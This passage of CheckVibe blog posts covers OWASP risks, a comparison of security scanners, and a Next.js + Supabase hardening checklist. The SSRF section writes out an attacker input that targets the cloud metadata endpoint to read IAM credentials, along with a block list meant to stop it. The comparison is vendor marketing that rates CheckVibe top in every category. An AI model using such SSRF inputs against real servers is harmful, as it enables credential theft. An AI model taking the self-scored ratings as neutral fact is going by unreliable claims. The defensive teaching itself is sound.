CREATE POLICY "Users read own events"
ON security_events FOR SELECT
USING (user_id = auth.uid());
```

**Quick fix:** At a minimum, log failed login attempts, API key usage, and permission denials. Use structured JSON logging so you can search and alert on patterns. Set up alerts for spikes in failed logins or 403 responses. If you use Vercel, their built-in logs retain data for 1 hour on free plans — consider forwarding to a persistent log store.

## 10. Server-Side Request Forgery (SSRF)

**What it means:** An attacker can make your server send requests to internal resources.

**In your stack:** Your app has a "preview URL" feature that fetches any URL the user provides. An attacker enters `http://169.254.169.254/latest/meta-data/` and reads your cloud provider's metadata (including IAM credentials).

```typescript
// Bad: Fetching any URL the user provides
export async function POST(req: Request) {
  const { url } = await req.json();
  const response = await fetch(url); // SSRF — user controls the URL
  const html = await response.text();
  return Response.json({ preview: html });
}

// Good: Validate URL against allowlist and block private IPs
import { isPrivateIP } from "@/lib/url-validation";

const BLOCKED_HOSTS = ["localhost", "127.0.0.1", "0.0.0.0", "metadata.google"];

export async function POST(req: Request) {
  const { url } = await req.json();

  let parsed: URL;
  try {
    parsed = new URL(url);
  } catch {
    return Response.json({ error: "Invalid URL" }, { status: 400 });
  }

  // Only allow HTTP(S)
  if (!["http:", "https:"].includes(parsed.protocol)) {
    return Response.json({ error: "Invalid protocol" }, { status: 400 });
  }

  // Block private/internal addresses
  if (
    BLOCKED_HOSTS.some((h) => parsed.hostname.includes(h)) ||
    parsed.hostname.endsWith(".local") ||
    parsed.hostname.endsWith(".internal") ||
    (await isPrivateIP(parsed.hostname))
  ) {
    return Response.json({ error: "URL not allowed" }, { status: 400 });
  }

  const response = await fetch(url, {
    redirect: "error", // don't follow redirects to internal IPs
    signal: AbortSignal.timeout(5000), // 5s timeout
  });

  const html = await response.text();
  return Response.json({ preview: html.slice(0, 10000) }); // limit response size
}
```

**Quick fix:** If your app fetches user-provided URLs (link previews, favicon fetching, webhook delivery, URL imports), validate the URL scheme, resolve the hostname to an IP address and check if it's private before making the request. Block `localhost`, `127.0.0.1`, `169.254.x.x`, `10.x.x.x`, `172.16-31.x.x`, `192.168.x.x`, and any `.local`/`.internal` domains. Don't follow redirects blindly — an attacker can redirect from a public URL to an internal one.

## What to Do About It

You don't need to become a security expert. You need to:

1. **Know your attack surface** — which of these 10 apply to your app?
2. **Scan regularly** — automated tools catch the obvious stuff
3. **Fix incrementally** — address critical and high severity issues first
4. **Make it a habit** — scan on every deploy, not once a quarter

The OWASP Top 10 hasn't changed dramatically in years because the same mistakes keep happening. The good news: they're all fixable.

If you're looking for a practical walkthrough, check out our [OWASP Top 10 Checklist](/blog/owasp-top-10-checklist) for a step-by-step approach to addressing each vulnerability category. And before you launch, run through our [SaaS Security Checklist](/blog/saas-security-checklist-before-launch) to make sure nothing slips through.

For API-specific concerns (which many indie hackers underestimate), our [API Security Checklist](/blog/api-security-checklist) covers authentication, rate limiting, input validation, and more.

## FAQ

### Do indie hackers really get hacked?

Yes, and more often than you'd think. Small SaaS apps are attractive targets specifically because attackers assume security is weak. Automated bots don't care whether you have 10 users or 10 million — they scan the entire internet for known vulnerabilities like exposed `.env` files, unprotected admin routes, and SQL injection points. If your app processes payments, stores user data, or has API keys, you're a target. The attacks are automated and indiscriminate. A Shodan or Censys scan will find your app within days of it going live.

### Which OWASP risk should I fix first?

Start with **Broken Access Control** (A01). It's the #1 risk for a reason, and it's the one most likely to cause real damage to your users. If someone can access another user's data, everything else is secondary. After that, tackle **Injection** (A03) and **Cryptographic Failures** (A02) — leaked API keys and SQL injection are the two most common ways small apps get compromised. You can address **Security Misconfiguration** (A05) in an afternoon by adding security headers and running a quick scan. The rest can be prioritized based on your specific architecture.

### Is the OWASP Top 10 enough?

The OWASP Top 10 is a great starting point, but it's not exhaustive. It covers the most common and impactful web application security risks, but it intentionally leaves out things like business logic flaws, API-specific vulnerabilities (covered separately in the [OWASP API Security Top 10](https://owasp.org/www-project-api-security/)), client-side security issues, and infrastructure misconfigurations. Think of it as the minimum bar, not the finish line. For a more comprehensive approach, combine it with regular automated scanning, dependency auditing, and periodic manual review of your most sensitive code paths.

### How do I check for broken access control?

The simplest test: log in as User A, copy a URL that includes a resource ID (like `/api/projects/abc123`), then log in as User B and paste that URL. If User B can see User A's data, you have broken access control. For API routes, use a tool like `curl` or Postman to send requests with one user's auth token but another user's resource IDs. In Supabase specifically, check that every table with user data has RLS enabled (`ALTER TABLE x ENABLE ROW LEVEL SECURITY`) and a policy that filters by `auth.uid()`. You can also run an automated scan with a tool like [CheckVibe](https://checkvibe.dev) that tests for access control issues across your entire application surface.


---

## Best Website Security Scanners in 2026: CheckVibe vs OWASP ZAP vs Snyk vs Burp Suite

*Compare the top website security scanners for developers. See how CheckVibe, OWASP ZAP, Snyk, and Burp Suite stack up on features, pricing, and ease of use.*

Published: 2026-03-05 | Reading time: 15 min read
URL: https://checkvibe.dev/blog/website-security-scanner-comparison


Choosing the right security scanner depends on your team size, technical depth, and what you're trying to protect. Here's how the most popular options compare for web developers in 2026.

The security scanner market has matured significantly, but no single tool covers everything. Some focus on runtime vulnerabilities (DAST), others on dependencies (SCA), and a few on cloud-native application stacks. Understanding these categories helps you pick the right combination for your needs.

## Quick Comparison Table

| Feature | CheckVibe | OWASP ZAP | Snyk | Burp Suite | Aikido | Detectify | Intruder | HostedScan |
|---------|-----------|-----------|------|------------|--------|-----------|----------|------------|
| **Setup time** | 30 seconds | 30+ minutes | 5 minutes | 30+ minutes | 10 minutes | 5 minutes | 5 minutes | 2 minutes |
| **Vulnerability types** | 100+ checks (runtime + config) | Runtime only | Dependencies only | Runtime only | SCA + DAST + SAST | DAST + asset discovery | DAST + infra | DAST + infra |
| **Site crawling** | Automatic | Manual config | N/A | Manual config | Automatic | Automatic | Automatic | Automatic |
| **API key detection** | 100+ patterns | No | No | No | Yes | No | No | No |
| **BaaS auditing** | Supabase (live RLS probe), Firebase RTDB rules | No | No | No | No | No | No | No |
| **remediation guidance** | Yes | No | Yes (deps only) | No | Yes | No | No | No |
| **MCP server** | Yes (compatible developer tools) | No | No | No | No | No | No | No |
| **Pricing** | Free tier, from $24/mo | Free | Free tier, from $25/mo | From $449/yr | Free tier, from $314/mo | From $275/mo | From $101/mo | Free tier, from $39/mo |
| **Target user** | Developers, indie hackers | Security researchers | DevOps teams | Pentesters | Dev teams | Security teams | SMBs | Solo devs, SMBs |

## Scoring Matrix

To make the comparison more concrete, here is how each tool scores on five key dimensions (1-5 scale, 5 = best):

| Tool | Speed | Coverage | Ease of Use | Pricing Value | Integration |
|------|-------|----------|-------------|---------------|-------------|
| **CheckVibe** | 5 | 5 | 5 | 5 | 5 |
| **OWASP ZAP** | 3 | 4 | 2 | 5 | 3 |
| **Snyk** | 4 | 3 (deps only) | 4 | 3 | 5 |
| **Burp Suite** | 3 | 5 | 2 | 2 | 3 |
| **Aikido** | 4 | 4 | 4 | 2 | 4 |
| **Detectify** | 4 | 4 | 4 | 2 | 3 |
| **Intruder** | 4 | 3 | 4 | 3 | 3 |
| **HostedScan** | 4 | 3 | 4 | 4 | 3 |

**Speed** measures time from "I want to scan" to "I have results." **Coverage** measures breadth of vulnerability types detected. **Ease of Use** measures how quickly a developer (not a security expert) can get value. **Pricing Value** measures cost relative to features for small teams. **Integration** measures how well the tool fits into existing developer workflows (CI/CD, IDE, API).

## CheckVibe

CheckVibe is built specifically for developers who ship fast — especially those using AI code editors and modern stacks like Next.js, Supabase, and Vercel.

**What makes it different:**

- **100+ security checks in parallel** — SQL injection, XSS, exposed API keys, CORS, CSRF, security headers, SSL/TLS, DNS, cookies, GraphQL, JWT, and more
- **Site crawling** discovers every page and endpoint before scanning, so nothing slips through
- **Backend-specific checks** for Supabase (RLS policies, exposed service keys) plus a world-readable-rules probe on any Firebase Realtime Database the page points at
- **Hosting provider audits** for Vercel, Netlify, and Cloudflare
- **Vibe coding security coverage** identifies common rapid-development patterns that introduce security risks
- **MCP server integration** lets compatible developer tools trigger scans and read results
- **remediation guidance** provide code-level remediation for every finding

**Integration capabilities:** CheckVibe offers a REST API with full scan management, an MCP server for compatible developer tools, webhook integrations for CI/CD pipelines, and embeddable security badges. The API uses API key authentication with per-plan rate limits.

**Best for:** Solo developers, indie hackers, small teams shipping with AI code editors.

**Pricing:** Free (1 project, 4 scans/mo), Starter ($24/mo), Pro ($39/mo), Custom (contact us).

## OWASP ZAP

OWASP ZAP (Zed Attack Proxy) is a free, open-source security scanner maintained by the OWASP Foundation. It's the most widely used free web application security tool, with over 200,000 active users worldwide.

ZAP works as an intercepting proxy — it sits between your browser and your application, analyzing traffic in real time. This gives it deep visibility into how your application behaves, but it also means setup is more involved than cloud-based scanners.

**Strengths:**
- Completely free and open source
- Active community with regular updates
- Deep scanning with active and passive modes
- Extensible via marketplace add-ons (hundreds available)
- Good for learning security testing fundamentals
- Can be automated via CLI and API for CI/CD integration
- Supports authenticated scanning with session handling

**Limitations:**
- Requires manual setup and configuration (Java runtime, proxy config, browser certificates)
- Steep learning curve for effective use — understanding scan policies, contexts, and attack modes takes time
- No built-in API key detection
- No BaaS or hosting provider checks
- No remediation guidance
- Results require security expertise to interpret
- Full active scans can take 30-60+ minutes depending on application size
- No cloud-hosted option — you must run it on your own infrastructure

**Integration capabilities:** ZAP has a REST API for automation, a CLI for CI/CD (commonly used in GitHub Actions and Jenkins pipelines), Docker images for containerized scanning, and a marketplace with 100+ add-ons. The [ZAP Automation Framework](https://www.zaproxy.org/docs/automate/) provides YAML-based scan configuration.

**Best for:** Security researchers, security-conscious developers who want hands-on control and don't mind the setup time, and teams that need a free tool they can customize deeply.

## Snyk

Snyk focuses on software composition analysis (SCA) — scanning your dependencies for known vulnerabilities (CVEs). It has expanded into container scanning, Infrastructure as Code (IaC), and code analysis, but its core strength remains dependency management.

**Strengths:**
- Excellent dependency vulnerability database (one of the largest, with proprietary research)
- Integrates with GitHub, GitLab, Bitbucket — automatic PR scanning
- Automatic pull requests to fix vulnerable dependencies with version bumps
- Container image scanning (Docker, Kubernetes)
- Infrastructure as Code (IaC) scanning for Terraform, CloudFormation, Kubernetes manifests
- Snyk Code provides SAST analysis (static code scanning)
- Comprehensive developer experience with IDE plugins

**Limitations:**
- Does not scan your live website for runtime vulnerabilities
- Cannot detect XSS, SQL injection, or exposed API keys in your application
- No security header or CORS analysis
- No BaaS-specific checks
- Focused on supply chain, not application security
- Free tier limits are strict (200 tests/month for open source, 100 for private)
- Paid plans scale quickly for larger teams ($25/developer/month)

**Integration capabilities:** Snyk has one of the broadest integration ecosystems: GitHub, GitLab, Bitbucket, Azure DevOps, Jenkins, CircleCI, Travis CI, AWS CodePipeline, Docker Hub, Kubernetes, Terraform Cloud, IDE plugins for VS Code, IntelliJ, and Eclipse, plus a CLI and REST API. It is designed to embed into every stage of the SDLC.

**Best for:** DevOps teams who need dependency and container scanning as part of CI/CD, and organizations with complex supply chains that need SCA compliance reporting.

## Burp Suite

Burp Suite is a professional-grade penetration testing tool from PortSwigger. It's the industry standard for manual and semi-automated web security testing, used by the majority of professional pentesters worldwide.

**Strengths:**
- Extremely deep scanning capabilities — finds vulnerabilities that automated-only tools miss
- Manual testing tools (repeater, intruder, sequencer, decoder) enable sophisticated attack simulation
- Extensible via BApp Store (community and PortSwigger extensions)
- Industry standard for professional pentesters — results are recognized by compliance auditors
- Detailed, expert-level findings with evidence and reproduction steps
- Burp Suite Enterprise offers scheduled automated scanning with a web UI
- Active community and extensive learning resources (Web Security Academy)

**Limitations:**
- Professional license starts at $449/year; Enterprise starts at $8,395/year
- Significant learning curve — designed for security professionals, not developers
- Desktop application requires local installation and configuration
- No BaaS or hosting provider checks
- No AI code pattern detection
- No MCP/IDE integration
- Full scans can be slow on large applications (hours)

**Integration capabilities:** Burp Suite Professional has a REST API and CI/CD plugins for Jenkins and TeamCity. Burp Suite Enterprise adds scheduled scanning, team management, and integrations with Jira, Slack, and webhook endpoints. The BApp Store provides extensions for GraphQL, JWT testing, and custom authentication flows.

**Best for:** Professional penetration testers, security consultants, and enterprise security teams that need the deepest possible vulnerability analysis.

## Aikido

Aikido is a relatively new all-in-one security platform that combines SAST (static analysis), DAST (dynamic testing), SCA (dependency scanning), cloud posture management, and secrets detection into a single dashboard.

**Strengths:**
- Combines multiple security disciplines in one platform (SAST + DAST + SCA + secrets + cloud)
- Modern developer-focused UI with triaging and prioritization
- GitHub, GitLab, and Bitbucket integration for automatic PR checks
- Container scanning and IaC analysis
- Secrets detection across codebase

**Limitations:**
- No BaaS-specific checks (Supabase, Firebase)
- No AI code pattern or vibe coding detection
- No MCP server for AI editor integration
- Pricing starts at $314/month for teams, which is steep for solo developers
- Newer tool with a smaller community and less track record compared to Snyk or Burp
- DAST capabilities are not as deep as dedicated tools like Burp Suite

**Integration capabilities:** GitHub, GitLab, Bitbucket, Jira, Slack, Azure DevOps, and custom webhooks. REST API available for automation.

**Best for:** Development teams that want a single pane of glass for security across multiple dimensions and can justify the team-tier pricing.

## Detectify

Detectify is a cloud-based DAST scanner with a unique crowdsourced approach — its vulnerability tests are contributed by ethical hackers from their bug bounty community. This means Detectify often has checks for newly discovered vulnerabilities faster than competitors.

**Strengths:**
- Crowdsourced vulnerability tests from ethical hacker community
- Continuous external attack surface monitoring (asset discovery)
- Quick to detect newly disclosed vulnerabilities
- Cloud-native, no installation required
- Subdomain and asset discovery helps find forgotten infrastructure

**Limitations:**
- Pricing starts at $275/month — not accessible for solo developers or bootstrapped startups
- No dependency scanning (SCA)
- No BaaS-specific checks
- No AI code pattern detection or MCP integration
- Focused on external attack surface, not internal code quality
- Limited integration with developer workflows (no IDE plugins)

**Integration capabilities:** REST API, Slack, Jira, Splunk, PagerDuty, and webhook endpoints. Supports CI/CD integration via API.

**Best for:** Security teams at mid-size companies that need continuous external attack surface monitoring and value crowdsourced vulnerability research.

## Intruder

Intruder is a cloud-based vulnerability scanner designed for small-to-medium businesses that want automated scanning without the complexity of enterprise tools.

**Strengths:**
- Simple setup and clean dashboard
- Combines network scanning with web application testing
- Continuous monitoring with automatic rescans when new vulnerabilities are published
- Compliance reporting (SOC 2, ISO 27001, GDPR)
- Good balance of depth and usability for non-security teams

**Limitations:**
- Web application scanning is not as deep as Burp Suite or ZAP
- No dependency scanning
- No BaaS-specific checks
- No AI code detection or MCP integration
- Limited to external scanning — no SAST or SCA
- Pricing can escalate with the number of targets

**Integration capabilities:** Slack, Jira, Microsoft Teams, AWS, Google Cloud, Azure, PagerDuty, and webhook endpoints. API available for CI/CD automation.

**Best for:** SMBs that need compliance-friendly vulnerability scanning without hiring a dedicated security team.

## HostedScan

HostedScan is a cloud-hosted security scanning platform that wraps open-source tools (including OWASP ZAP, OpenVAS, and Nmap) in a managed service with scheduling, reporting, and team management.

**Strengths:**
- Uses battle-tested open-source engines under the hood
- No installation required — fully cloud-hosted
- Generous free tier (10 targets, 3 recurring scans)
- Scheduled scans with email alerts
- Compliance-friendly PDF reports
- Simple target management for multiple websites

**Limitations:**
- Scanning depth depends on underlying open-source tools
- No BaaS-specific checks
- No AI code pattern detection or MCP integration
- No dependency scanning (SCA)
- Limited customization compared to running ZAP directly
- Results can be noisy — false positives from automated ZAP scans

**Integration capabilities:** REST API, webhook notifications, Slack. Supports scheduled scans via dashboard.

**Best for:** Solo developers and small teams who want ZAP's scanning power without managing the infrastructure, and who need scheduled scans with simple reporting.

## Which Scanner Should You Choose?

**Choose CheckVibe if** you're a developer who wants instant, automated security scanning without configuring a proxy or learning pentesting. Especially if you're building with modern stacks (Next.js, Supabase, Vercel). CheckVibe is the only scanner with BaaS auditing, vibe coding security coverage, and MCP server integration for developer tools.

**Choose OWASP ZAP if** you want a free tool, have security knowledge, and want hands-on control over your scanning configuration. ZAP is the best option for developers who want to learn security testing from the ground up.

**Choose Snyk if** your primary concern is vulnerable dependencies in your `package.json` or container images, and you want automated PRs to fix them. Snyk is the best-in-class SCA tool.

**Choose Burp Suite if** you're a professional pentester or security consultant who needs deep, manual testing capabilities and industry-recognized results.

**Choose Aikido if** you want a single platform combining SAST, DAST, SCA, and cloud posture management, and you have the budget for team-tier pricing.

**Choose Detectify if** you need continuous external attack surface monitoring with crowdsourced vulnerability research, and you are a mid-size company with a security team.

**Choose Intruder if** you are an SMB that needs compliance-friendly vulnerability scanning (SOC 2, ISO 27001) with a simple setup and no security expertise required.

**Choose HostedScan if** you want the power of open-source tools (ZAP, OpenVAS, Nmap) without managing infrastructure, and you need basic scheduled scanning with a free tier.

## Can You Use Multiple Scanners?

Yes — and you should. These tools are complementary:

- **CheckVibe** covers your live site's runtime security (100+ checks + site crawling + BaaS audits)
- **Snyk** covers your dependency supply chain
- **OWASP ZAP or Burp** adds manual deep-dive testing when needed

Using CheckVibe alongside Snyk gives you both application security and supply chain security with minimal setup effort. For teams with compliance requirements, adding Intruder or Detectify for continuous monitoring provides an additional layer.

The key principle is defense in depth: no single scanner catches everything. A combination of DAST (runtime scanning), SCA (dependency analysis), and periodic manual testing gives you the most comprehensive coverage.

For more detailed guidance on evaluating scanners, see our [in-depth web app security scanner comparison](/blog/web-app-security-scanner-comparison) and our guide on [how to check if your website is secure](/blog/how-to-check-if-website-is-secure).

## FAQ

### Which scanner is best for startups?

For early-stage startups and indie hackers, CheckVibe offers the best balance of coverage, speed, and pricing. The free tier gives you 4 scans per month with a single project, which is enough to establish a security baseline. As you grow, the $24/month Starter plan covers 30 scans. If your stack uses Supabase, Firebase, Vercel, or Netlify, CheckVibe is the only scanner that includes specific checks for these platforms. HostedScan is another budget-friendly option with a free tier, though it lacks BaaS and AI code detection.

### Is OWASP ZAP still relevant?

Yes. OWASP ZAP remains one of the most capable open-source security scanners available. It receives regular updates, has a large community, and its active scanning mode can find vulnerabilities that simpler tools miss. The main drawback is the setup time and learning curve — you need to understand proxy configuration, scan policies, and how to interpret results. For developers who want to learn security testing fundamentals, ZAP is an excellent educational tool. For developers who want quick results without configuration, a cloud-based scanner like CheckVibe is more practical.

### Do I need both Snyk and DAST?

Yes, they cover fundamentally different attack surfaces. Snyk scans your source code and dependency tree for known vulnerabilities (CVEs) — it tells you if a library you are using has a published security flaw. DAST tools like CheckVibe, ZAP, or Burp scan your running application for runtime vulnerabilities — SQL injection, XSS, CSRF, misconfigured headers, exposed secrets. You can have zero dependency vulnerabilities and still be wide open to SQL injection. You can have a perfectly coded application and still be using a compromised library. Both layers are necessary for comprehensive security.

### Can I replace a pentest with scanning?

Automated scanners are excellent for catching known vulnerability patterns at scale, but they cannot fully replace a skilled human pentester. Scanners follow predefined rules and payloads — they excel at finding common issues like missing headers, known CVE patterns, and standard injection vectors. A pentester applies creative reasoning, chains multiple low-severity findings into high-impact attacks, tests business logic flaws, and identifies vulnerabilities that require contextual understanding. The best approach is to use automated scanning continuously (every deploy, every day) and supplement with periodic human pentests (quarterly or before major launches). Automated scanning handles the 90% of routine checks; pentesting handles the 10% that requires human intelligence.


---

## How to Secure Your Next.js + Supabase App: A Complete Security Checklist

*Step-by-step security checklist for Next.js apps with Supabase. Covers RLS policies, API key exposure, auth hardening, security headers, and common mistakes.*

Published: 2026-03-03 | Reading time: 17 min read
URL: https://checkvibe.dev/blog/secure-nextjs-supabase-app


Next.js and Supabase are one of the most popular stacks for building modern web applications. But the speed of development often means security gets overlooked. Here's a comprehensive checklist to lock down your app.

## 1. Never Expose Your Supabase Service Role Key

The `SUPABASE_SERVICE_ROLE_KEY` bypasses all Row Level Security (RLS) policies. If it leaks to the client, attackers have full database access.

**Common mistakes:**
- Using `NEXT_PUBLIC_SUPABASE_SERVICE_ROLE_KEY` (the `NEXT_PUBLIC_` prefix exposes it to the browser)
- Importing the service role client in a Client Component
- Hardcoding the key in API routes that get bundled client-side

**Fix:** Only use the service role key in server-side code (API routes, Server Components, Edge Functions). Use the anon key for client-side operations and rely on RLS to control access.

## 2. Enable Row Level Security (RLS) on Every Table

Supabase disables RLS by default on new tables. Without RLS, any authenticated user can read and modify any row.

```sql
-- Enable RLS
ALTER TABLE your_table ENABLE ROW LEVEL SECURITY;

-- Users can only read their own data
CREATE POLICY "Users read own data" ON your_table
  FOR SELECT USING (auth.uid() = user_id);

-- Users can only insert their own data
CREATE POLICY "Users insert own data" ON your_table
  FOR INSERT WITH CHECK (auth.uid() = user_id);
```

### Complex RLS Policies with Joins

Basic `auth.uid() = user_id` policies work for simple cases, but real applications need more nuanced access control. Here are patterns for common multi-table scenarios.

**Team-based access** -- allow users to access data belonging to their team:

```sql
-- Users can read projects belonging to their team
CREATE POLICY "Team members read projects" ON projects
  FOR SELECT USING (
    EXISTS (
      SELECT 1 FROM team_members
      WHERE team_members.team_id = projects.team_id
      AND team_members.user_id = auth.uid()
    )
  );
```

**Role-based access** -- different permissions for admins vs. members:

```sql
-- Only team admins can delete projects
CREATE POLICY "Admins delete projects" ON projects
  FOR DELETE USING (
    EXISTS (
      SELECT 1 FROM team_members
      WHERE team_members.team_id = projects.team_id
      AND team_members.user_id = auth.uid()
      AND team_members.role = 'admin'
    )
  );

-- Members can update projects but not delete them
CREATE POLICY "Members update projects" ON projects
  FOR UPDATE USING (
    EXISTS (
      SELECT 1 FROM team_members
      WHERE team_members.team_id = projects.team_id
      AND team_members.user_id = auth.uid()
      AND team_members.role IN ('admin', 'member')
    )
  );
```

**Shared resources with explicit grants** -- for invite-based sharing:

```sql
-- Users can read documents shared with them
CREATE POLICY "Shared document access" ON documents
  FOR SELECT USING (
    user_id = auth.uid()
    OR EXISTS (
      SELECT 1 FROM document_shares
      WHERE document_shares.document_id = documents.id
      AND document_shares.shared_with = auth.uid()
      AND document_shares.revoked_at IS NULL
    )
  );
```

**Important performance tip:** Always create indexes on the columns used in your RLS policy joins. Without indexes, every row access triggers a sequential scan on the joined table, which can devastate performance at scale.

```sql
CREATE INDEX idx_team_members_user_team
  ON team_members (user_id, team_id);

CREATE INDEX idx_document_shares_doc_user
  ON document_shares (document_id, shared_with)
  WHERE revoked_at IS NULL;
```

**CheckVibe's Supabase scanner** automatically detects tables with RLS disabled and flags exposed service role keys.

## 3. Set Security Headers

Next.js doesn't set security headers by default. Add them in `next.config.ts`:

```typescript
async headers() {
  return [{
    source: '/:path*',
    headers: [
      { key: 'X-Frame-Options', value: 'DENY' },
      { key: 'X-Content-Type-Options', value: 'nosniff' },
      { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
      { key: 'Strict-Transport-Security', value: 'max-age=31536000; includeSubDomains; preload' },
      { key: 'Content-Security-Policy', value: "default-src 'self'; script-src 'self' 'unsafe-inline'" },
    ],
  }];
}
```

## 4. Validate and Sanitize All User Input

Never trust user input — even when using Supabase's auto-generated API.

- Use Zod or similar validation on all form inputs and API route parameters
- Sanitize HTML content before rendering (prevent stored XSS)
- Parameterize all database queries (Supabase does this by default, but watch for raw SQL via `rpc()`)

## 5. Protect API Routes

Next.js API routes are publicly accessible by default. Add authentication checks:

```typescript
import { createClient } from '@/lib/supabase/server';

export async function POST(req: Request) {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();

  if (!user) {
    return Response.json({ error: 'Unauthorized' }, { status: 401 });
  }

  // ... handle the request
}
```

## 6. Use HTTPS Everywhere

HTTPS is the foundation of transport security. Without it, every request between your users and your server -- including authentication tokens, form submissions, and API calls -- can be intercepted by anyone on the same network.

**Ensure your domain has a valid SSL certificate.** If you deploy on Vercel, this is automatic. For self-hosted deployments, use Let's Encrypt with automatic renewal via certbot or a reverse proxy like Caddy that handles TLS out of the box.

**Add HSTS headers to prevent downgrade attacks.** The `Strict-Transport-Security` header tells browsers to always use HTTPS for your domain, even if a user types `http://`. Without it, an attacker on a public Wi-Fi network can intercept the initial HTTP request before the redirect happens. The `preload` directive goes further -- it submits your domain to browser vendors' built-in HSTS lists so that even the very first visit uses HTTPS:

```
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
```

**Check for mixed content.** A single HTTP image or script on an HTTPS page creates a vulnerability. Browsers block mixed active content (scripts, iframes) but may still load mixed passive content (images) with a console warning. Audit your site with browser DevTools or a scanner like CheckVibe to catch any HTTP resources loaded on HTTPS pages.

**Supabase connections are HTTPS by default**, but if you use custom database connections or direct Postgres access, verify that `sslmode=require` or `sslmode=verify-full` is set in your connection string.

## 7. Secure Authentication Flows

Authentication is the gatekeeper to your entire application. A weak auth implementation can undermine every other security measure you have in place.

**Use Supabase's built-in auth with PKCE flow for SPAs.** The PKCE (Proof Key for Code Exchange) flow prevents authorization code interception attacks. Supabase Auth supports this natively -- when you initialize `@supabase/ssr`, it uses PKCE automatically for browser-based flows.

**Set `SameSite=Lax` or `Strict` on auth cookies.** The `SameSite` attribute prevents browsers from sending cookies on cross-site requests, which is your primary defense against CSRF attacks. `Lax` is the recommended default because it allows cookies on top-level navigations (so links from emails still work) while blocking cross-site POST requests. Use `Strict` only if your app never needs to be accessed via external links.

**Implement CSRF protection on state-changing endpoints.** Even with `SameSite` cookies, add explicit CSRF validation on all POST, PUT, and DELETE routes. The simplest approach is to validate the `Origin` header against an allowlist:

```typescript
export async function POST(req: Request) {
  const origin = req.headers.get('origin');
  const allowedOrigins = [
    'https://yourdomain.com',
    process.env.NODE_ENV === 'development' ? 'http://localhost:3000' : '',
  ].filter(Boolean);

  if (!origin || !allowedOrigins.includes(origin)) {
    return Response.json({ error: 'Forbidden' }, { status: 403 });
  }

  // ... proceed with authenticated request
}
```

**Rate-limit login attempts to prevent brute force.** Supabase has built-in rate limiting on the auth endpoints, but add your own layer for custom auth routes. A sliding window rate limiter (e.g., 5 attempts per minute per IP) is effective and simple to implement.

**Never expose user enumeration through error messages.** Return a generic "Invalid credentials" message for both "user not found" and "wrong password" cases. Attackers use targeted error messages to confirm which email addresses have accounts, enabling more focused attacks.

### Add middleware.ts for Auth Protection

Next.js middleware runs before every request and is the best place to enforce authentication across your app. Without it, you rely on each page or API route to check auth individually -- which is error-prone and easy to forget.

```typescript
// middleware.ts
import { createServerClient } from '@supabase/ssr';
import { NextResponse, type NextRequest } from 'next/server';

export async function middleware(request: NextRequest) {
  let supabaseResponse = NextResponse.next({ request });

  const supabase = createServerClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
    {
      cookies: {
        getAll() {
          return request.cookies.getAll();
        },
        setAll(cookiesToSet) {
          cookiesToSet.forEach(({ name, value, options }) =>
            request.cookies.set(name, value)
          );
          supabaseResponse = NextResponse.next({ request });
          cookiesToSet.forEach(({ name, value, options }) =>
            supabaseResponse.cookies.set(name, value, options)
          );
        },
      },
    }
  );

  // Refresh the session -- this is critical for SSR
  const { data: { user } } = await supabase.auth.getUser();

  // Protect dashboard routes
  if (!user && request.nextUrl.pathname.startsWith('/dashboard')) {
    const url = request.nextUrl.clone();
    url.pathname = '/login';
    return NextResponse.redirect(url);
  }

  return supabaseResponse;
}

export const config = {
  matcher: [
    '/((?!_next/static|_next/image|favicon.ico|.*\\.(?:svg|png|jpg|jpeg|gif|webp)$).*)',
  ],
};
```

**Why `getUser()` instead of `getSession()`?** The `getUser()` method validates the JWT against Supabase's auth server, while `getSession()` only reads the local token. An expired or tampered token passes `getSession()` but fails `getUser()`. Always use `getUser()` for security-critical checks.

## 8. Audit Third-Party Dependencies

Your application is only as secure as its weakest dependency. A single vulnerable package in your `node_modules` tree can expose your users to remote code execution, data theft, or supply chain attacks.

**Run `npm audit` regularly** and treat high/critical findings as blockers. Integrate `npm audit` into your CI/CD pipeline so that builds fail on known vulnerabilities:

```bash
# In your CI pipeline (GitHub Actions, Vercel build, etc.)
npm audit --audit-level=high

# Auto-fix what can be fixed
npm audit fix

# For a comprehensive report with fix suggestions
npx audit-ci --high
```

**Use tools like Snyk or Socket for CVE monitoring.** `npm audit` only catches known vulnerabilities in your direct and transitive dependencies. Tools like Snyk add continuous monitoring, alert you when new CVEs are published for packages you use, and can automatically open PRs with fixes.

**Review new dependencies before installing.** Before adding a package, check:
- **Download counts** -- popular packages get more eyes on security issues
- **Last publish date** -- abandoned packages do not get security patches
- **Maintainer count** -- single-maintainer packages are a supply chain risk
- **Known issues** -- search the package name + "vulnerability" or "malware"
- **Package size and dependencies** -- large dependency trees increase attack surface

**Lock your dependency versions.** Use `package-lock.json` (npm) or `pnpm-lock.yaml` (pnpm) and commit it to your repository. This ensures every build uses the exact same versions, preventing supply chain attacks where a compromised version is published as a patch update.

**Consider using `--ignore-scripts` for untrusted packages.** The `postinstall` script in npm packages runs arbitrary code on your machine during `npm install`. For packages you do not fully trust, install with `npm install --ignore-scripts` and run scripts manually after reviewing them.

## 9. Protect Against Common Attacks

Every web application faces a standard set of attacks. Here is how to defend against each one in a Next.js + Supabase stack.

### CORS (Cross-Origin Resource Sharing)

Restrict `Access-Control-Allow-Origin` to your domain -- never use `*` with credentials. Misconfigured CORS is one of the most common findings in security scans. If your API returns `Access-Control-Allow-Origin: *`, any website can make authenticated requests to your API (when combined with other misconfigurations).

```typescript
// next.config.ts -- restrict CORS in API routes
export async function GET(req: Request) {
  const origin = req.headers.get('origin');
  const allowed = ['https://yourdomain.com'];

  const headers: Record<string, string> = {
    'Access-Control-Allow-Methods': 'GET, POST, OPTIONS',
    'Access-Control-Allow-Headers': 'Content-Type, Authorization',
  };

  if (origin && allowed.includes(origin)) {
    headers['Access-Control-Allow-Origin'] = origin;
    headers['Access-Control-Allow-Credentials'] = 'true';
  }

  return Response.json({ data: '...' }, { headers });
}
```

For Supabase Edge Functions, set the `ALLOWED_ORIGIN` environment variable rather than hardcoding `*` in CORS headers.

### CSRF (Cross-Site Request Forgery)

Validate the `Origin` header on all POST/PUT/DELETE requests. As shown in section 7, compare the request's `Origin` against an allowlist. This catches the vast majority of CSRF attacks because browsers always send the `Origin` header on cross-origin requests.

### Open Redirects

